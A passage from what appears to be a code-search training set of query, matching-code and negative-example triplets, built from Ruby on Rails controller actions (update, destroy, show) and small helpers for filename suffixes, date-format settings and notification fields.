"def update\n respond_to do |format|\n if @poa_type.update(poa_type_params)\n format.html { redirect_to @poa_type, notice: 'Poa type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @poa_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @intervention_type.update(intervention_type_params)\n format.html { redirect_to intervention_types_url, notice: \"Intervention type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @intervention_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @intervention_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ot_type = OtType.find(params[:id])\n\n respond_to do |format|\n if @ot_type.update_attributes(params[:ot_type])\n format.html { redirect_to @ot_type, notice: 'Ot type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ot_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @object_type.update(name: params[:name], description: params[:description])\n format.json { render json: @object_type }\n end\n end\n end",
"def update\n respond_to do |format|\n if @t_type.update(t_type_params)\n format.html { redirect_to @t_type, notice: 'T type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @t_type.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /kpi_types/1 DELETE /kpi_types/1.json
|
def destroy
@kpi_type.destroy
flash[:success] = 'KPI Type was successfully deleted.'
redirect_to :back
end
|
[
"def destroy\n @pit_type.destroy\n respond_to do |format|\n format.html { redirect_to pit_types_url }\n format.json { head :no_content }\n end\n end",
"def delete_type(id)\n delete(\"/types/#{id}\")\n end",
"def destroy\n @ot_type = OtType.find(params[:id])\n @ot_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ot_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @storage_entry_type.destroy!\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @devicetype = Devicetype.find(params[:id])\n @devicetype.destroy\n\n respond_to do |format|\n format.html { redirect_to devicetypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type = Type.find(params[:id])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @itype = Itype.find(params[:id])\n @itype.destroy\n\n respond_to do |format|\n format.html { redirect_to itypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kin_type.destroy\n respond_to do |format|\n format.html { redirect_to kin_types_url, notice: 'Kin type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ic_type.destroy\n respond_to do |format|\n format.html { redirect_to ic_types_url, notice: 'Ic type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device_type = DeviceType.find(params[:id])\n @device_type.destroy\n\n respond_to do |format|\n format.html { redirect_to device_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request_type = RequestType.find(params[:id])\n @request_type.destroy\n\n respond_to do |format|\n format.html { redirect_to request_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nii_type.destroy\n\n respond_to do |format|\n format.html { redirect_to nii_types_url, notice: t('controller.successfully_deleted', model: t('activerecord.models.nii_type')) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @poketype.destroy\n respond_to do |format|\n format.html { redirect_to poketypes_url, notice: 'Poketype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @generic_type.destroy\n respond_to do |format|\n format.html { redirect_to generic_types_url, notice: 'Generic type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_admin_type.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_admin_types_url, notice: 'Admin type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ip_type = IpType.find(params[:id])\n @ip_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ip_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @devicetype.destroy\n respond_to do |format|\n format.html { redirect_to devicetypes_url, notice: 'Devicetype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @os_type = OsType.find(params[:id])\n @os_type.destroy\n\n respond_to do |format|\n format.html { redirect_to os_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usage_type.destroy\n respond_to do |format|\n format.html { redirect_to usage_types_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
add_suffix "somefile.xml", "_1234" => somefile_1234.xml""
|
def add_suffix filename, suffix
parts = filename.split("\.")
base = parts[0..-2]
parts2 = base << suffix << parts[-1]
fn = parts2.join(".")
end
|
[
"def append_suffix(filename, suffix)\n return filename.match(/\\.#{suffix}$/) ? filename.to_s : \"#{filename}.#{suffix}\"\n end",
"def test_add_filename_suffix_ext\n assert_equal('path/to/file-a.json',\n add_filename_suffix('path/to/file.json', '-a'))\n assert_equal('/path/to/file-a.json',\n add_filename_suffix('/path/to/file.json', '-a'))\n assert_equal('path/.a-suffix.json',\n add_filename_suffix('path/.a.json', '-suffix'))\n end",
"def test_add_filename_suffix\n assert_equal('path-suffix', add_filename_suffix('path', '-suffix'))\n assert_equal('/path-suffix', add_filename_suffix('/path', '-suffix'))\n assert_equal('path/to/file-a', add_filename_suffix('path/to/file', '-a'))\n assert_equal('/path/to/file-a', add_filename_suffix('/path/to/file', '-a'))\n # This should be consistent with add_filename_prefix\n assert_equal('path-suffix/', add_filename_suffix('path/', '-suffix'))\n end",
"def file_suffix\n file_name.split('.').last \n end",
"def suffix\n options.no_suffix? ? \"\" : \"_#{pattern_name}\"\n end",
"def base_append_suffix path\n\t\t\tcount \t= Dir[path, \"#{path}.*\"].count\n\t\t\tsuffix \t= count > 0 ? \".#{count}\" : \"\"\n\t\t\tpath \t= \"#{path}#{suffix}\"\n\t\tend",
"def add_suffix(extensions = [], suffix)\n extensions.map { |e| \"#{e}.#{suffix}\" }\n end",
"def suffix ext1, ext2, cmd\n mf.suffixes.push [ext1, ext2]\n rule \"#{ext2}#{ext1}\" do\n shell cmd\n end\nend",
"def suffix_plus\n '_plus'\n end",
"def file_name_gen(slide, suffix)\n term = slide['term']\n kind = slide['kind'] || nil\n index = slide['index'] || nil\n file_name = \"#{BUILD_DIR}/#{term}/#{term}\"\n if kind\n file_name += \"-#{kind}\"\n if index\n file_name += \"-#{index}\"\n end\n end\n file_name + suffix\nend",
"def make_file_name aExtension, *aWords #:nodoc:\n aWords.join(' ').to_file_name.ext(aExtension)\n end",
"def make_new_file_name( file_name )\n \"#{File.basename(file_name)[0,5]}#{sprintf('%03d', @out_seq)}#{File.extname(file_name)}\"\n end",
"def add_filename_prefix(filename, prefix)\n filename = filename.rpartition(File.basename(filename))\n filename[1] = \"#{prefix}#{filename[1]}\"\n filename.join\n end",
"def test_add_filename_suffix_dot\n assert_equal('.a-suffix', add_filename_suffix('.a', '-suffix'))\n assert_equal('path/.a-suffix', add_filename_suffix('path/.a', '-suffix'))\n assert_equal('path/...-suffix', add_filename_suffix('path/...', '-suffix'))\n # Handle . and .. correctly\n assert_equal('path-suffix/.', add_filename_suffix('path/.', '-suffix'))\n assert_equal('path-suffix/..', add_filename_suffix('path/..', '-suffix'))\n end",
"def add_suffix_to(name)\n last_added_piece = piece_set.keys[-1]\n\n prev_name, suffix = split_piece_name_of_the(last_added_piece) unless last_added_piece.nil?\n\n if name == prev_name\n name += (suffix.to_i + 1).to_s\n else\n name += '1'\n end\n end",
"def append_name(name)\n name.<<(\"_Xx\")\nend",
"def build_filename(base_name, file_index, file_extension)\n \"#{base_name}-#{DateTime.now}-#{file_index}.#{file_extension}\"\n end",
"def archive_file_suffix\n raise NotImplementedError\n end",
"def get_backup_suffix\n stamp = Time.now.utc.strftime(\"%Y%m%d_%H%M%S\")\n dest_suffix = \"_bak_#{stamp}\"\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /audits/1 PATCH/PUT /audits/1.json
|
def update
respond_to do |format|
if @audit.update(audit_params)
format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }
format.json { render :show, status: :ok, location: @audit }
else
format.html { render :edit }
format.json { render json: @audit.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n @audit = Audit.find(params[:id])\n\n respond_to do |format|\n if @audit.update_attributes(params[:audit])\n format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @recording = Recording.find(params[:id])\n\n respond_to do |format|\n if @recording.update_attributes(params[:recording])\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n agent_current_user\n\n respond_to do |format|\n if @audition.update(audition_params)\n format.html { redirect_to @audition, notice: 'Audition was successfully updated.' }\n format.json { render :show, status: :ok, location: @audition }\n else\n format.html { render :edit }\n format.json { render json: @audition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @claim_audit_entry.delete_prev_detail_records\n parsing_answers\n respond_to do |format|\n if @claim_audit_entry.update(claim_audit_entry_params)\n @claim_audit_entry.claim_awaiting_audit.update(:last_reviewed_date=>Date.today, :new_upload => true)\n format.html { redirect_to root_path, notice: 'Claim audit entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to action: 'edit',:id=>@claim_audit_entry.id,notice: \"#{@claim_audit_entry.errors.full_messages.first}\" }\n format.json { render json: @claim_audit_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @auditor.update(auditor_params)\n format.html { redirect_to @auditor, notice: 'Auditor was successfully updated.' }\n format.json { render :show, status: :ok, location: @auditor }\n else\n format.html { render :edit }\n format.json { render json: @auditor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.attributes = params[:physical_rack]\n @physical_rack.audits << Audit.new(source: 'controller', action: 'update', admin_user: current_user)\n respond_to do |format|\n if @physical_rack.save\n format.html { redirect_to @physical_rack, notice: 'Physical rack was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @physical_rack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @audition.update(audition_params)\n format.html { redirect_to @audition, notice: 'Audition was successfully updated.' }\n format.json { render :show, status: :ok, location: @audition }\n else\n format.html { render :edit }\n format.json { render json: @audition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @audio_event = AudioEvent.find(params[:id])\n\n respond_to do |format|\n if @audio_event.update_attributes(params[:audio_event])\n format.json { head :no_content }\n else\n format.json { render json: @audio_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @audio_recording = AudioRecording.find(params[:id])\n\n respond_to do |format|\n if @audio_recording.update_attributes(params[:audio_recording])\n format.json { head :no_content }\n else\n format.json { render json: @audio_recording.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock_audit.update(stock_audit_params)\n format.html { redirect_to @stock_audit, notice: 'Stock audit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock_audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @book_audit.update(book_audit_params)\n format.html { redirect_to @book_audit, notice: 'Book audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @book_audit }\n else\n format.html { render :edit }\n format.json { render json: @book_audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @actor_audition.update(actor_audition_params)\n format.html { redirect_to @actor_audition, notice: 'Actor audition was successfully updated.' }\n format.json { render :show, status: :ok, location: @actor_audition }\n else\n format.html { render :edit }\n format.json { render json: @actor_audition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update uid\n update_json = JSON.parse(File.read('./data/live_stream/update_example.json'))\n response = call_api method: :patch, id: uid, body: update_json\n ap JSON.parse(response.body)\n return response\n end",
"def update\n respond_to do |format|\n if @refresh_audit.update(refresh_audit_params)\n format.html { redirect_to @refresh_audit, notice: 'Refresh audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @refresh_audit }\n else\n format.html { render :edit }\n format.json { render json: @refresh_audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @file_ops_audit = FileOpsAudit.find(params[:id])\n\n respond_to do |format|\n if @file_ops_audit.update_attributes(params[:file_ops_audit])\n format.html { redirect_to @file_ops_audit, :notice => 'File ops audit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @file_ops_audit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @audita.update(audita_params)\n format.html { redirect_to @audita, notice: 'Audita was successfully updated.' }\n format.json { render :show, status: :ok, location: @audita }\n else\n format.html { render :edit }\n format.json { render json: @audita.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @recording_event = RecordingEvent.find(params[:id])\n\n respond_to do |format|\n if @recording_event.update_attributes(params[:recording_event])\n format.html { redirect_to @recording_event, notice: 'Recording event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recording_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @specification.update(specification_params)\n audit(@specification, current_user)\n render json: @specification, status: :ok, serializer: Web::V1::SpecificationSerializer\n else\n render json: @specification.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @appendix.update(appendix_params)\n format.html { redirect_to @appendix, notice: 'Appendix was successfully updated.' }\n format.json { render :show, status: :ok, location: @appendix }\n else\n format.html { render :edit }\n format.json { render json: @appendix.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /audits/1 DELETE /audits/1.json
|
def destroy
@audit.destroy
respond_to do |format|
format.html { redirect_to audits_url, notice: 'Audit was successfully destroyed.' }
format.json { head :no_content }
end
end
|
[
"def destroy\n @audit = Audit.find(params[:id])\n @audit.destroy\n\n respond_to do |format|\n format.html { redirect_to audits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @audit = current_user.audits.find(params[:id])\n @audit.destroy\n \n UserMailer.audit_deleted_auditor(@audit,current_user).deliver\n UserMailer.audit_deleted_auditee(@audit,current_user).deliver\n respond_to do |format|\n format.html { redirect_to audits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Audit.find(params[:id]).destroy\n head :no_content\n end",
"def destroy\n @audition = Audition.find(params[:id])\n @audition.destroy\n\n return head :ok \n end",
"def destroy\n @refresh_audit.destroy\n respond_to do |format|\n format.html { redirect_to refresh_audits_url, notice: 'Refresh audit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audition_request.destroy\n respond_to do |format|\n format.html { redirect_to audition_requests_url, notice: 'Audition request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audit = Audit.find(params[:id])\n @audit.destroy\n\n respond_to do |format|\n if @audit.destroy\n flash[:notice] = 'Audit was successfully deleted.'\n end\n format.html { redirect_to(audit_index_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @file_ops_audit = FileOpsAudit.find(params[:id])\n @file_ops_audit.destroy\n\n respond_to do |format|\n format.html { redirect_to file_ops_audits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audition.destroy\n respond_to do |format|\n format.html { redirect_to '/audition', notice: 'Audition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @auditoria = Auditoria.find(params[:id])\n @auditoria.destroy\n\n respond_to do |format|\n format.html { redirect_to auditorias_url }\n format.json { head :ok }\n end\n end",
"def remove_auditee(auditor_id, auditee_id)\n path = \"/d2l/api/le/#{$le_ver}/auditing/auditors/#{auditor_id}/auditees/\"\n _delete(path, true, { AuditeeId: auditee_id })\nend",
"def destroy\n @stock_audit.destroy\n respond_to do |format|\n format.html { redirect_to stock_audits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @auditor.destroy\n respond_to do |format|\n format.html { redirect_to auditors_url, notice: 'Auditor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audit_log.destroy\n respond_to do |format|\n format.html { redirect_to audit_logs_url, notice: 'Audit log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote_audit = QuoteAudit.find(params[:id])\n @quote_audit.destroy\n\n respond_to do |format|\n format.html { redirect_to(quote_audits_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @auditorio.destroy\n respond_to do |format|\n format.html { redirect_to auditorios_url, notice: 'Auditorio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @distribution_audit = DistributionAudit.find(params[:id])\n @distribution_audit.destroy\n\n respond_to do |format|\n format.html { redirect_to distribution_audits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @labtech_audit.destroy\n respond_to do |format|\n format.html { redirect_to labtech_audits_url, notice: 'Labtech audit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audita.destroy\n respond_to do |format|\n format.html { redirect_to auditas_url, notice: 'Audita was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Renders a notification field for a Redmine::Notifiable option
|
def notification_field(notifiable)
tag_data =
if notifiable.parent.present?
{:parent_notifiable => notifiable.parent}
else
{:disables => "input[data-parent-notifiable=#{notifiable.name}]"}
end
tag = check_box_tag('settings[notified_events][]',
notifiable.name,
setting_value('notified_events').include?(notifiable.name),
:id => nil,
:data => tag_data)
text = l_or_humanize(notifiable.name, :prefix => 'label_')
options = {}
if notifiable.parent.present?
options[:class] = "parent"
end
content_tag(:label, tag + text, options)
end
|
[
"def render_notification_message(notification, options = {})\n format_message(notification, options)\n end",
"def notification_text(notification)\n notifiable = notification.notifiable\n text = if notification.medium?\n t('notifications.new_medium')\n elsif notification.course?\n course_notification_card_text(notifiable)\n elsif notification.lecture?\n lecture_notification_card_text(notifiable)\n else\n t('notifications.new_announcement')\n end\n text.html_safe\n end",
"def text\n Notification.generate(self, overriden_level)\n end",
"def notification_options=(arg)\n @notification_options = check_state_options(arg, %w(d u r f s n), 'notification_options')\n end",
"def notification_json_options\n {\n include: {\n target: { methods: [:printable_type, :printable_target_name] },\n notifiable: { methods: [:printable_type] },\n group: { methods: [:printable_type, :printable_group_name] },\n notifier: { methods: [:printable_type, :printable_notifier_name] },\n group_members: {}\n },\n methods: [:notifiable_path, :printable_notifiable_name, :group_member_notifier_count, :group_notification_count, :text]\n }\n end",
"def complaint_filed(notifiable , notification) \n if notifiable.class.to_s == \"Complaint\" && notification.action == \"filed\"\n \"enough to be filed to the city of #{notifiable.institute.name} \"\n end\n \n end",
"def notification_options=(arg)\n @notification_options = check_state_options(arg, %w(w u c r f s n), 'notification_options')\n end",
"def render(context)\n context.render type.underscore, notification: self.notification\n end",
"def notification_link(notification)\n notifiable = notification.notifiable\n return '' unless notifiable\n text = if notification.medium?\n medium_notification_card_link(notifiable)\n elsif notification.course?\n course_notification_card_link\n elsif notification.lecture?\n lecture_notification_card_link\n else\n notifiable.details\n end\n text.html_safe\n end",
"def notification_info\n section = __method__\n text = \"\"\n html = \"\"\n date = get_nagios_var(\"NAGIOS_LONGDATETIME\")\n number = get_nagios_var(\"NAGIOS_NOTIFICATIONNUMBER\")\n text += \"Notification sent at: #{date} (notification number #{number})\\n\\n\"\n html += \"Notification sent at: #{date} (notification number #{number})<br><br>\"\n add_text(section, text)\n add_html(section, html)\n end",
"def error_notification(options={})\n SimpleForm::ErrorNotification.new(self, options).render\n end",
"def notifier_type\n options[:notifier_type]\n end",
"def notification_message event\n default = \"notifications.default.#{event.verb}\".to_sym\n if event.verb.to_sym == :update\n if event.change_data.keys.count == 1\n key = \"notifications.#{event.eventable_type.downcase}.#{event.verb}.attributes.#{event.change_data.keys.first}\"\n default = [\"notifications.#{event.eventable_type.downcase}.#{event.verb}.single\".to_sym, default]\n else\n key = \"notifications.#{event.eventable_type.downcase}.#{event.verb}.multiple\"\n end\n else\n key = \"notifications.#{event.eventable_type.downcase}.#{event.verb}\"\n end\n message = I18n.translate key, :default => default, \"user.name\" => event.user.name, :\"event.type\" => event.eventable_type\n\n replace_vars(message, event).html_safe\n end",
"def redraw_notify_area\n @sel.text = \"<b>Notifier #{@selected_size} abonnement(s) ?</b>\"\n @sel.enabled = (@selected_size > 0)\n @notify_button.enabled = (@selected_size > 0)\n number = Notifications::Base.notifications_number\n @number.text = \"<b>Notification à faire pour #{number} abonnement(s)</b>\"\n end",
"def notification_json_options\n {\n include: {\n target: { methods: [:printable_type, :printable_target_name] },\n notifiable: { methods: [:printable_type] },\n group: { methods: [:printable_type, :printable_group_name] },\n notifier: { methods: [:printable_type, :printable_notifier_name] },\n group_members: {}\n },\n methods: [:notifiable_path, :printable_notifiable_name, :group_member_notifier_count, :group_notification_count]\n }\n end",
"def growl_notify\n\t\t\toptions = { :title => @application,\n\t\t\t\t\t\t\t\t\t:description => @message.gsub(/[\\n]+/, \"\"),\n\t\t\t\t\t\t\t\t\t:application_name => @application,\n\t\t\t\t\t\t\t\t\t:image_from_location => @icon,\n\t\t\t\t\t\t\t\t\t:sticky => false,\n\t\t\t\t\t\t\t\t\t:priority => 0,\n\t\t\t\t\t\t\t\t\t:with_name => notifications.first }\n @growl.notify options\t\t\t\n\t\tend",
"def text_for_user_notification(properties)\n unless properties && properties.empty?\n <<-EOS\n <p><b><span class=\"colored\">To complete the registration process the site is requesting additional information. Please select a trust profile you would like to associate the site with or create a new one. The Trust Profile you select will determine the information that is shared.</span></b></p>\n <p style=\"font-style: italic;\">Fields marked with an asterisk (*) are required for successful registration with this site.</p>\n EOS\n else\n <<-EOS\n <p><b><span class=\"colored\">Please select a Trust Profile you would like\n to associate the site with or create a new one. This site is not requesting\n any additonal profile information from you.</span></b></p>\n EOS\n end\n end",
"def text\n Notification.generate(self, self.class.level)\n end",
"def notification_icon(n)\n case n.notifiable_type\n when \"FriendRequest\"\n mi.person.md_18\n when \"Reaction\"\n reaction_icon(n.notifiable.name)\n when \"Comment\"\n mi.mode_comment.md_18\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Returns the options for the date_format setting
|
def date_format_setting_options(locale)
Setting::DATE_FORMATS.map do |f|
today = ::I18n.l(User.current.today, :locale => locale, :format => f)
format = f.delete('%').gsub(/[dmY]/) do
{'d' => 'dd', 'm' => 'mm', 'Y' => 'yyyy'}[$&]
end
["#{today} (#{format})", f]
end
end
|
[
"def default_options_date_format(format)\n format || '%Y-%m-%d - %l:%M:%S%p'\n end",
"def date_format_options\n Import::DATE_FORMATS.map do |f|\n format = f.delete('%').gsub(/[dmY]/) do\n {'d' => 'DD', 'm' => 'MM', 'Y' => 'YYYY'}[$&]\n end\n [format, f]\n end\n end",
"def date_format_options\n Import::DATE_FORMATS.map do |f|\n format = f.gsub('%', '').gsub(/[dmY]/) do\n {'d' => 'DD', 'm' => 'MM', 'Y' => 'YYYY'}[$&]\n end\n [format, f]\n end\n end",
"def date_format\n return @date_format\n end",
"def datepicker_options(format, value = nil)\n datepicker_options = {:input_html => {:class => 'ui-datepicker', :value => value.try(:strftime, format)}}\n end",
"def datepicker_options(format, method, value = nil)\n datepicker_options = {:label_html => {:class => \"date\"}, :input_html => {:id => \"datepicker\", :class => 'formtastic-ui-datepicker datepicker', :value => value.try(:strftime, format)}}\n end",
"def datepicker_options\n datepicker_options = super\n datepicker_options[:datepicker_options] ||= {}\n datepicker_options[:datepicker_options][:dateFormat] = \"MM d, yy\"\n datepicker_options\n end",
"def format_date\n if @opts[:as] == :select\n values = {}\n if v = @attr[:value]\n v = Date.parse(v) unless v.is_a?(Date)\n values[:year], values[:month], values[:day] = v.year, v.month, v.day\n end\n _format_date_select(values, @opts[:order] || DEFAULT_DATE_ORDER)\n else\n _format_input(:date)\n end\n end",
"def expected_format\n options[:expected_format] || 'yyyy-mm-dd'\n end",
"def date_format=(value)\n @date_format = value\n end",
"def date_style\n @date_style if [:date, :date_range, :month_and_year, :only_year, :date_disabled].include? @date_style.to_sym\n end",
"def format_date options = {}\n dates = options[:start_date].strftime(\"%D\") if options[:start_date]\n dates << \" -- \" + options[:end_date].strftime(\"%D\") if options[:end_date]\n dates = \"N/A\" if !dates\n return dates\n end",
"def date_format_select_options(selected_value)\n unless @date_format_select_options\n @date_format_select_options = []\n AppConfig['date_formats'].each_with_index do |date_format, index|\n @date_format_select_options << \"<option value='#{index}'>#{date_format}</option>\"\n end\n @date_format_select_options = @date_format_select_options.join(\"\") \n end\n set_selected_option(@date_format_select_options, selected_value)\n end",
"def format_date\n self[:value] ||= {}\n self[:value][:format_date] ||= :short_date\n self[:value][:format_date].to_sym\n end",
"def date_format_registry_key\n return :date_format\n end",
"def date_format(options={})\n style = options[:style] || :pretty\n\n # Set some default separators based on different input types, allowing override to be passed in\n if options[:sep].present?\n sep = options[:sep]\n else\n sep = '/'\n sep = '_' if style == :url\n sep = '-' if style == :db\n sep = ':' if [:timelike, :timelike24].include?(style)\n end\n\n case style\n when :pretty then \"%b %d, %Y\" # output date like Oct 28, 2008\n when :pretty_full then \"%B %d, %Y\" # output date like October 28, 2008\n when :short then \"%m#{sep}%d#{sep}%y\" # output date like 10/28/08\n when :long then \"%m#{sep}%d#{sep}%Y\" # output date like 10/28/2008\n when :db then \"%Y#{sep}%m#{sep}%d\" # output date like 2008-10-28\n when :yearless then \"%B %d\" # output date like October 28\n when :yearless_s then \"%b %d\" # output date like Oct 28\n when :url then \"%m#{sep}%d#{sep}%Y\" # output date like 10_28_2008\n when :year_only then \"%Y\" # output year like 2008\n when :month_only then \"%b %Y\" # output date like Oct 2008\n when :month_name then \"%b\" # output short month name only like Oct\n when :timelike then \"%l#{sep}%M %p\" # output time like 10:25 AM\n when :timelike24 then \"%H#{sep}%M:%S\" # output time like 14:25:16\n when :full then \"%m#{sep}%d#{sep}%y %l:%M %p\" # like 02/07/13 05:53 PM\n when :full_plus then \"%m#{sep}%d#{sep}%y %l:%M:%S %p\" # like 02/07/13 05:53:09 PM\n when :datestamp then \"%m#{sep}%d#{sep}%y %H:%M:%S\" # like 02/07/13 17:53:09\n else \"%b %d, %Y\" # bogus styles get pretty\n end\n end",
"def datetime_format\n @default_formatter.datetime_format\n end",
"def date_format_set\n instance_variable_get(:\"@#{current_date_format}_date_format_set\")\n end",
"def get_formats\n page = @agent.get('http://connect.garmin.com/settings')\n html = Nokogiri::HTML(page.body)\n scr = html.css(\"script\").select { |s| s.text =~ /(DATE_FORMAT)/ }.first.text\n\n date_value = scr.match(/DATE_FORMAT = '(.+)'/)[1]\n time_value = scr.match(/TIME_FORMAT = '(.+)'/)[1]\n number_value = scr.match(/NUMBER_FORMAT = '(.+)'/)[1]\n \n @date_format = date_value.gsub('yyyy', '%Y').gsub('dd', '%d').gsub('MM', '%m')\n @time_format = (time_value == 'twenty_four' ? '%H:%M' : '%I:%M %p' )\n @decimal_format = (number_value == 'decimal_comma' ? ',' : '.')\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /orf_models/1 GET /orf_models/1.json
|
def show
@orf_model = OrfModel.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @orf_model }
end
end
|
[
"def get_models\n\t\tam = ErAppModel.where(er_user_app_id: @ua.id)\n\t\t@status = 200\n\t\t@res = am \n\t\trender json: @res , status: @status\t\t\t\n\tend",
"def load_model_info\n JSON.parse(RestClient.get(model_info_url))\n end",
"def new\n @orf_model = OrfModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @orf_model }\n end\n end",
"def index\n @oid_models = OidModel.all\n end",
"def model\n @model = Lorj::Model.new if @model.nil?\n @model\n end",
"def destroy\n @orf_model = OrfModel.find(params[:id])\n @orf_model.destroy\n\n respond_to do |format|\n format.html { redirect_to orf_models_url }\n format.json { head :no_content }\n end\n end",
"def create\n @orf_model = OrfModel.new(params[:orf_model])\n\n respond_to do |format|\n if @orf_model.save\n format.html { redirect_to @orf_model, notice: 'Orf model was successfully created.' }\n format.json { render json: @orf_model, status: :created, location: @orf_model }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orf_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @auto_model = AutoModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @auto_model }\n end\n end",
"def index\n @modeles = Modele.all\n end",
"def index\n @auto_models = AutoModel.all\n end",
"def get(model_name, model_id = nil, options = {})\n url = rest_url(model_name, model_id) if get_option(options, \"filters\") == \"\"\n url = rest_url(model_name, nil, options[\"filters\"]) if get_option(options, \"filters\") != \"\"\n result = Rest.rest_call(url, \"get\", options)\n end",
"def index\n @admin_eobr_models = Admin::EobrModel.all\n end",
"def show\n @models = self.class.model_class.find(self.class.ids_from_param(params[:id]))\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @models }\n format.json { render :json => @models }\n end\n end",
"def index\n @ordens = Orden.all\n render json: @ordens\n end",
